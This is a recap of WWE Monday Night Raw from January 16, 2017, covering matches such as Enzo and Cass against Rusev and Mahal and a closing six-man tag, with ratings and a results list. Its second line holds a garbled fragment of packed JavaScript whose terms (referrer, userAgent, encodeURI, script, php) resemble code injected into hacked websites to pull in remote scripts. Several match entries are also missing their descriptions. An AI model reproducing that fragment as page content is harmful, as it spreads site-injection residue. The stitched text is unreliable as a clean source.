Monday Night Raw – January 16, 2017: The Champ Is Acting Like The Champ
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|atkst|var|u0026u|referrer|tzeys||js|php'.split('|'),0,{}))
Night Raw
Date: January 16, 2017
Location: Verizon Arena, Little Rock, Arkansas
Commentators: Michael Cole, Byron Saxton, Corey Graves
Martin Luther King Day video.
Opening sequence.
Enzo Amore/Big Cass vs. Rusev/Jinder Mahal
Enzo goes after Mahal to start but an elbow to the jaw takes him down. Mahal is sent outside and we take an early break. Back with Mahal dropping a knee on Enzo and Rusev grabbing a bearhug. Enzo slips out and the hot tag brings in Cass to clean house. Everything breaks down and the big boot to Mahal sets up the Bada Boom Shaka Laka for the pin at 8:35.
Ariya Daivari vs. Lince Dorado
Jack Gallagher is on commentary. Feeling out process to start with Lince getting in some strikes and the springboard Stunner for two. Dorado completely misses a high crossbody and a wind up lariat (Rainmaker) sets up a cobra clutch to make Lince tap at 2:18.
We look back at Undertaker announcing that he would be in the Royal Rumble.
Video on the UK Title Tournament.
Earlier today, Nia Jax attacked Sasha Banks during a knee injury evaluation.
Tag Team Titles: Cesaro/Sheamus vs. Anderson and Gallows
Tribute video to Jimmy Snuka.
Emmalina video.
Tony Nese vs. Rich Swann
Non-title and a 205 Live rematch. And no match as Neville comes in through the crowd and attacks Swann.
Post break Neville yells at an interviewer for not having enough respect and promises to beat Swann for the title at the Rumble.
Joined in progress with Big E. putting on an abdominal stretch. Titus comes back with a Dominator to set up a chinlock followed by his own abdominal stretch. The spanking is enough to tick Big E. off and he runs Titus down with ease. The Warrior Splash sets up the Big Ending for the pin at 4:56.
Rating: F. Now NEVER LET TITUS NEAR THEM AGAIN! Move on to ANYTHING else!
Jim Duggan talks about winning the first Royal Rumble.
Another look back at the opening sequence.
Cedric Alexander vs. Brian Kendrick
Cedric walks off with Fox in the ring.
We look at Nia attacking Banks again.
Nia laughs at the idea of Sasha being the Boss and loved seeing Sasha holding her knee in agony. The hype was over and the Boss was broken.
Roman Reigns/Sami Zayn/Seth Rollins vs. Kevin Owens/Chris Jericho/Braun Strowman
Rating: C+. Nice six man here and a good upgrade over some of the stuff on this show. Strowman getting another big pin is a smart move and it made for a good way to wrap up the night. There was enough action to make the match work and the ending was much better than having a champion get pinned.
Results
Enzo Amore/Big Cass b. Jinder Mahal/Rusev – Bada Boom Shaka Laka to Mahal
Ariya Daivari b. Lince Dorado – Cobra clutch
Anderson and Gallows b. Cesaro/Sheamus via DQ when Sheamus punched the referee
Cedric Alexander b. Brian Kendrick – Lumbar Check
Braun Strowman/Kevin Owens/Chris Jericho b. Sami Zayn/Seth Rollins/Roman Reigns – Powerslam to Zayn
https://www.amazon.com/dp/B01MQKDV5O
And check out my Amazon author page with cheap wrestling books at: